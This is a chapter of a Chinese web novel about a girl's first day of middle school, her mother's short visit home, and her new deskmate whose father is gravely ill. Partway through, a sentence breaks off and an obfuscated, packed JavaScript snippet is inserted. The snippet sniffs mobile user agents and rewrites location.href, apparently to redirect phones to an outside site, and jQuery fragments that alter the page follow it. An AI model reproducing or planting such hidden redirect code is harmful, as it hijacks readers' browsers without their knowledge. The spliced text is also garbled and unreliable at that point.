清晨时分，林知微第五次推开女儿的房门，看见团成糯米糍的少女滚在床沿边，空调被下探出几缕乱翘的黑色发丝，随着呼吸在晨光里起伏。
“这睡相倒是十年如一日，”她蹲下来戳了戳那团被子，指尖触到温热的额头，“再滚就要掉下来了。”
被子里传来闷闷的哼声，露在外面的脚趾蜷了蜷，片刻后关笑吟顶着乱蓬蓬的头发探出半张脸。
光线透过窗纱在母女发梢跳跃，关笑吟迷迷糊糊地睁开眼，眨巴着眼睛数了十秒，十秒之内自我确认了八次，还是觉得自己在做梦。
“妈妈？”她出口说的第一句话带着刚睡醒的鼻音，关笑吟小心翼翼地伸出手，指尖轻触林知微的颧骨。
眼前人并没像梦境里一碰就消散，温热的触感从手指漫到眼眶，她瞬间像突然通了电的玩偶般跳起来，扑进妈妈的怀抱里，熟悉的味道让她鼻尖发酸，“你什么时候回来的？”
林知微感觉锁骨处洇开温热，女儿单薄的蝴蝶骨在掌心颤动，“妈妈昨天凌晨到家的，你已经睡了，不过还好赶上了陪你开学。”
暑假在关笑吟的摸鱼中过得比想象的更快，昨晚她几乎是怀着即将要上战场的沉重心情入睡，好在新学期第一天就有好事发生，妈妈回来了。
早餐时，关笑吟小口喝着燕麦粥，眼睛一动不动地盯着餐桌对面，阳光给林知微描了金边，让她看起来依然像个随时会消失的幻影。
“慕尼黑现在几点？”关笑吟突然问。
林知微整理登机牌的手指顿了顿，“现在应该凌晨了，怎么了？”
关笑吟摇了摇头，表示没什么。
其实她知道中国和德国的时差，但她还是不由自主地常常问林知微这个问题，不论是在电话里，还是此刻当面。
夏日的梧桐大道十分丰茂，树影在车窗上流淌成绿色瀑布，自行车铃在树木间穿梭，惊飞了电线上的麻雀。
在送她去新学校的路上，车载广播正在播早间新闻。
关笑吟转头问同坐在后排的林知微：“妈妈，你这次什么时候走？”
“妈妈这次最多只能待到教师节前后，公司还有事。”
林知微在科技公司的欧洲分部担任区域负责人，三年回国过四次，每次待几天就又要走。
上一次回国已经是十个月前了。
此前每一次，关笑吟都会闹着让她不要走，会哭着把她行李箱密码锁调乱，藏起护照夹里的登机牌，或是给妈妈写信诉说自己不舍得。
各种招都用过，每一次都没能留下她。
今天就要成为初中生的关笑吟可能真的长大了一些，她没吵没闹，只是轻轻将头靠在了妈妈的肩膀上，鼻尖嗅着好闻的清香，珍惜眼下时间。
临港实验中学的金字招牌还沾着晨露，学校环境相比关笑吟的小学是一眼就看得出的气派。
今天这里不让停车，关既明得去远处兜圈子找车位，林知微先领着女儿下车。
学校公告栏前沸腾的人潮里，关笑吟攥着书包带，努力踮脚尖，视线顺着名单往下游走，刚看完一班名单，忽然被推搡得向后仰去——
“当心！”有人扶住她摇晃的肩膀。
关笑吟回头，扶住她的是位穿月白色旗袍的妇人，并且她认识。
关笑吟还没来得及道谢，就看见陶昨非立在一旁浮动的光尘里。
多年不见，林知微竟也认出了这是谁，“兰茵？”
“知微？”沈兰茵这才注意到关笑吟身边的人，愣了两秒，绽开笑容，“好久不见，什么时候回来的？”
之前和关既明吃饭，她已得知林知微目前在欧洲工作。
“几个小时前刚到的。”林知微笑着看向她身旁的男孩儿，“这不会是昨非吧？都长这么大了？”
沈兰茵伸手将儿子往前带了半步，“昨非，叫阿姨。”
“阿姨好。”陶昨非微微颔首。
两个母亲说话间，关笑吟踮着脚继续扒拉名单，“陶昨非”三个字突然跳进她的视线里，就在她名字下面隔三个位置。
“都在三班。”她扭头报信，发现那小子早就退到树荫底下，正盯着地砖缝里冒头的狗尾巴草，书包在后背晃出漫不经心的节奏。
去往教学楼的路上，两个难得碰面的妈妈一直在聊天。
林知微问：“你们不是搬去北洲了？什么时候回的江川？”
“也就最近这段时间刚决定回来的。”沈兰茵听她这么问，就知道关既明并没跟她聊过他们家的情况，沈兰茵没想着回避，压低了声音，“老陶身体不太好，目前在关医生的医院治疗。”
“是吗？”林知微很惊讶，但不好追问是什么病，她捏皮包的手指紧了紧，“那我这几天找时间去看看他。”
“没事儿，你要是忙，也不用跑一趟。”沈兰茵对这话题并不热衷，轻巧地把聊天方向转了个弯，“你这次回来待多久？”
“十天左右。”林知微如实回答。
关笑吟落在后面听家长聊天，陶昨非单肩背着书包走在前面。
少年肩线被阳光裁成利落的剪影，后颈碎发在阳光下泛着檀木光泽，书包带扫过廊柱时惊起细小的尘埃。
初一三班在知行楼一楼，中间楼梯口左侧的第一间教室。
班里很多人都到了，讲台旁堆着半人高的新书，连座位都只剩后排。
关笑吟和陶昨非在满屋的嘈杂声中，脚步一致地往靠窗的位置走去。
两个妈妈跟上前帮他们确认看黑板的视角如何，确认完发现还行，关键是也没有其他更好的选择了。
沈兰茵推着俩孩子一起坐在倒数第三排，目的是希望关笑吟能够帮忙照应陶昨非，“昨非刚转回北洲读书，有什么不适应的，拜托笑笑多多关照。”
虽然不知道能关照他什么，但沈阿姨这么说了，关笑吟也就乖巧地点了点头。
俩孩子都没什么多余的反应，因为其实无所谓，反正待会儿班主任来了，这位置肯定还得换，他们能一起坐一个小时都算多的了。
去找车位的关既明此时打来电话，车位太难找，他还在周边打转，就不进学校了，并且让林知微也赶紧出来。
两个妈妈匆匆忙忙地一起走了。
被推着做了同桌的两人刚上来没太多可交流的，于是各发各的呆。
课桌上还留着上届学生的涂鸦，关笑吟闲得没事干，从书包里拿出文具袋，捏着橡皮在桌角边缘蹭出灰扑扑的碎屑，有些地方擦不掉，她翻出自己的铅笔，围绕着旧痕迹进行新创作。
余光里有道银色弧线总在晃。
陶昨非在已经发下来的书本上写了自己的名字后，习惯性地开始转笔，笔杆转三圈半就要磕在桌面上，规律得像老式座钟的钟摆。
“要看多久？”陶昨非突然偏头看向她，阳光穿透他耳际的绒毛。
关笑吟被他问得愣了一下，紧接着扭头将马尾甩到肩后，“转笔这么吵，想装看不见都难。”
她坚决不承认刚才看着他转笔的动作晃了神，手上却莫名其妙地连橡皮都握不住了——又一下使力涂擦后，橡皮从她手中滑落，顺着桌角不知滚哪儿去了。
陶昨非注意到她这动静，认命地起身，拎开自己的椅子帮她找。
橡皮在他靠近走廊的桌腿旁，他弯腰去捡。
前排男生在这时搬着词典转身，书脊把他桌上刚才用来转的那支笔拍飞了出去。
陶昨非弯腰捡橡皮的瞬间，反应敏捷且精准地凌空截住了旋转的笔，动作利落得像武侠片里的暗器高手。
他还没来得及说话，就听见关笑吟对着愣住了的前桌慢悠悠开口：“同学，你词典里‘礼貌’这词是不是撕掉当草稿纸了？”
头顶的吊扇呼啦转着圈，前门忽然被推开。
“身手不错啊，哥们儿。”前桌是个爽快人，只是刚才被陶昨非的反应能力惊呆，头转回去前道了歉，“不好意思啊。”
穿着碎花连衣裙且戴着圆框眼镜的班主任踩着高跟鞋噔噔走上讲台，粉笔在黑板上敲出清脆声响，她写下“周惠”二字后，转身用第一句话打开在座学生初中阶段的幕布：“各位同学大家好，欢迎大家来到临港实验中学，我是你们的班主任，我叫周惠。”
自我介绍之后，周老师宣布：“学校为了减轻大家的压力，让大家可以先适应一下新学校新学期的生活，你们这一届的摸底考延迟到一个月以后。”
教室里炸开细小欢呼。
“现在龇着牙花子的，等摸底考那天，眼泪别往答题卡上掉。”周惠的镜片闪过寒光，待学生安静下来以后，她才接着讲话：“往年开学，座位都是按照摸底考成绩排的，这种方式不掺杂其他影响，比较公平，所以今年也不例外。至于这开学的第一个月，大家就先按照目前自己选的位置坐吧。”
诶？一个月都不换座位？
那她和陶昨非还真要当回不止一小时的、正儿八经的同桌了。
关笑吟心里想道。
余光里的那支银色笔杆又开始转圈。
周惠左手从教案里抽出花名册，右手捏着半截粉笔敲了敲讲台边缘，粉笔灰簌簌落在教案本上，想撒了层盐粒子。
阳光斜切进教室，划出泾渭分明的光影。
“现在从一组开始滚雪球，每个人自我介绍。”周惠说着，用粉笔在黑板上敲出三个白点，“名字、暑假最难忘的事和初中目标，每人三十秒。”
关笑吟支着下巴看窗台上的麻雀。玻璃被晒得发软，那只灰扑扑的小东西正歪头啄翅膀，忽然扑棱棱飞走了，在窗框上留下两片绒羽。
自我介绍像击鼓传花似的往后窜，刚进行没多久，她就听见了熟悉的声音。
“大家好，我叫邹筱。我暑假最难忘的事是跟父母去海边玩，初中目标是好好学习。”
这位邹筱同学，坐在靠门口的一组第三排，跟她几乎一首一尾的位置，她们是五六年级的同班同学。
关笑吟进班级时都没注意到。
说话声音此起彼伏，每人只有三十秒，但时间加起来就很长。她无聊得都开始打哈欠了的时候，总算进行到了他们的前排。
“大家好，我叫王闯——”王闯弹簧般蹦起来，又带翻了桌肚里没完全放进去的那本倒霉催的词典。
关笑吟眼睁睁看着砖头厚的词典朝自己脚尖砸来，她连忙缩了脚，膝盖重重碰在课桌底部。词典砸在地面的瞬间，时间都被震得滞了一拍。
她算是看明白了，王闯这人一有动作，周围一片都消停不下来。
“王闯，”周惠听见这动静，圆框眼镜滑到鼻尖，“要不你先给大家表演个仙女散花？”
哄笑声中，关笑吟还做了回好人，弯腰将砸在自己脚边的词典捡了起来。
“我叫王闯，游戏闯关的闯。暑假天天在体育馆打篮球，初升高想考体育特长生。”
王闯自我介绍完，关笑吟将词典递还给他，顺便低声又损了他一句：“同学，你的词典里是不是也没有“小心”这个词？”
王闯抓耳挠腮地接回词典，后脖颈蒸腾着热气，红得像煮熟的虾。
轮到陶昨非起身时，一阵洗衣液混着晒过太阳的棉布味扑过来。
关笑吟忽然发现他上衣后领露出半截白色耳机线，线绳随着他的动作轻轻晃荡，像秒针在看不见的钟面上画弧。
关笑吟想起暑假里第二次在医院里偶遇他，当时他闭眼坐在塑料椅上睡觉，耳朵里插着耳机，膝头摊着本书，走近他时，有漏出的音乐像细沙般簌簌流淌。关笑吟当时感觉他并没真睡着，想出声叫他，最后又咽了回去——他脸上的疲倦是真实存在的。
“我叫陶昨非，”他的声音跟他的人一样清凌凌的，好听又有点冷，好在眼下是夏天，“觉今是而昨非的昨非。”
关笑吟的数学成绩拖后腿，但语言能力很好，英语和语文都不错，在还没正式开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680177|173259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学文言文的初一刚开学，她就知道“昨非”二字在这句话中的意思是“昨天的错误”。
“暑假最难忘的事——”
他这话一出口，关笑吟喉咙一紧，不自觉地屏住呼吸，指甲往掌心陷了陷。
比起旅游和打球之类常见的答案，陶昨非这个暑假是真有非常难忘的事情。
关笑吟想到医院，想到他爸，鼻尖条件反射似的快要闻到消毒水味。
“是捡了只小黑猫，”陶昨非拇指食指张开比划，“这么丁点大，现在会咬沙发了。”
后排有女生小声说“好可爱”。
“初中目标——”他放下的手，指节无意识在桌面上扣了下，嗓音沉了一分，“活着。”
他这两个字轻飘飘落进盛夏的蝉鸣里，关笑吟盯着前排女生的马尾，心跳咚咚砸在课桌上。在他爸刚确诊重病不久的情况下，这真是好合理的答案。
教室里瞬间像被按了静音键，陷入诡异的寂静，然后很快就传来憋不住的气音，零星窃笑像火星溅进干草堆。
连老师都对他这初中目标有意见，觉得又是一个耍个性的学生在敷衍，周惠手里的粉笔咔嚓断成两截，“活着这种说法，一个同学说了就算了，后面的同学不许学。”
关笑吟成了唯一一个知道他在表达什么的人。
她的心情莫名沉重，呼吸都放缓，直到自我介绍的顺序从他们这组后面转了一圈，到了她这。
她站起来，椅子腿在地面划出轻微刺啦声，“大家好，我叫关笑吟，开关的关，笑吟吟的笑吟。我暑假最难忘的事是——”说完，她停顿了几秒，完全没敢朝陶昨非的方向瞟一眼，默默深呼一口气，“有一位请我吃过海鲜大餐的叔叔生病了。”
旁边人没有一点声响。
关笑吟的心跳一点都慢不下来。
“初中目标是——”
她也想说“活着”，她越来越觉得这是很重要的事，但这说法已被老师禁止，她只好说：“初中目标是考上临港实验中学高中部，还有……希望大家都健康平安地实现自己的目标。”
她说完，不知哪个人带的头，稀稀拉拉的掌声像雨点打在铁皮屋顶传来，转而有变大的趋势，最后全班竟然一起给她鼓了个掌。
一群刚上初中的小孩儿，大多数都没坏心，遇见听不懂的话会笑，听见显而易见的祝福也很给面子地接受。
掌声潮水般退去时，关笑吟喉咙里像被塞进团晒干的棉花一样不舒服，她感觉自己用别人的伤痛赢了风头。这不是她的本意。
她坐下后瞥见陶昨非正在写字，阳光将他的影子拉长覆在她的课桌上，那些字迹被手臂挡住，只露出最后一划竖钩，像把锋利的匕首刺进光影交界处。
下课铃响时，关笑吟正盯着墙上名人名言框边的裂缝发呆。“书山有路勤为径”被光线镀成金色，裂缝里卡着不知哪个前辈留下的半截铅笔芯。
“关关！”邹筱从教室后面绕过来找她，拍了下她的肩，见她转头后，笑意盈盈地对她说：“好巧，我们在一个班。”
关笑吟跟邹筱小学时算不上多熟，她是关笑吟那会儿最好的朋友的同桌，所以大家一起玩的时候，她们也一起玩过几次，但其实没有过太多单独的交流。
关笑吟有点不适应，但见到老同学自然还是高兴的，“对啊，好巧。”
邹筱邀请她一起去厕所，她们穿过走廊时，邹筱的帆布鞋总能精准踩在瓷砖缝上，她喋喋不休地讲着一些她搜罗来的消息，“周旭在一班，徐苗苗在六班，就是离厕所最近的这个班。”邹筱算不上多漂亮，但睫毛很长，说话时忽闪忽闪，像扑棱的蝶翅，“不过最惨的还是七班，就在垃圾房隔壁，听说七班班主任也是年级主任，超级严厉。”
走廊尽头厕所的瓷砖泛着陈年水渍，洗手池镜面映出两张面孔，关笑吟撩开水龙头，余光里的邹筱重新绑着快散的马尾。
“好像上一届有个学生跟她顶嘴，被整得可惨……”
哗啦——
隔间冲水声打断未尽的话。
有两个女生同时推门而出，邹筱像做了亏心事似的猛地扯她衣服下摆，力道不轻，关笑吟踉跄半步，手肘撞到墙面，钝痛感袭来。
回教室的路上，回廊拐角处的花开得正盛。
“好可惜唐棠现在不跟我们一个学校了，不然我们还可以像小学时候那样一起玩。”邹筱忽然转身倒退着走，帆布鞋底在瓷砖上蹭出短促的吱呀声，“你记得六年级下学期她过生日那天吗？我们好些人一起坐在学校操场上，分享她带来的蛋糕和冰激凌，她还给我们跳舞，真的特别好玩，她不在这儿，都没那么热闹了。”
唐棠就是关笑吟小学时最好的朋友，也是邹筱的前同桌。
关笑吟望着天井里疯长的爬墙虎，恍惚看见唐棠晃着两条细腿坐在双杠上吃冰棍的模样。
“她以后准备参加艺考，侧重方向跟我们不一样，”关笑吟用鞋尖碾着地上被晒蔫的花瓣，“不过周末，我们还是可以找她出来一起玩的。”
走廊传来篮球拍地的闷响，王闯大呼小叫的声音由远及近。
从班级后门进教室时，两人位置不一个方向，就要分开。
邹筱忽然拉住她，往她座位的方向瞄。
陶昨非正俯身整理刚发下来的教材，清瘦的轮廓浸在窗边光晕里，后颈棘突随着动作在皮肤下滑动。他小臂上有明显的淡青血管，指节抵着书脊轻轻一推，那摞摇摇欲坠的书本便服帖地码成方阵。
“需要帮忙吗？”坐在关笑吟前桌的周乐萱侧过身仰着脸问，马尾在脑后晃呀晃。
陶昨非下颌微不可察地往回收，碎发在耳际投下细密的影，他没什么表情地摇了摇头，低头将最后一本书归位。
邹筱突然攥紧关笑吟的手腕，她套着她的耳朵讲话，温热气息扑在耳廓，关笑吟下意识缩了下肩，“你发现没，”邹筱的耳语和上课铃同时响起，“你同桌特好看。”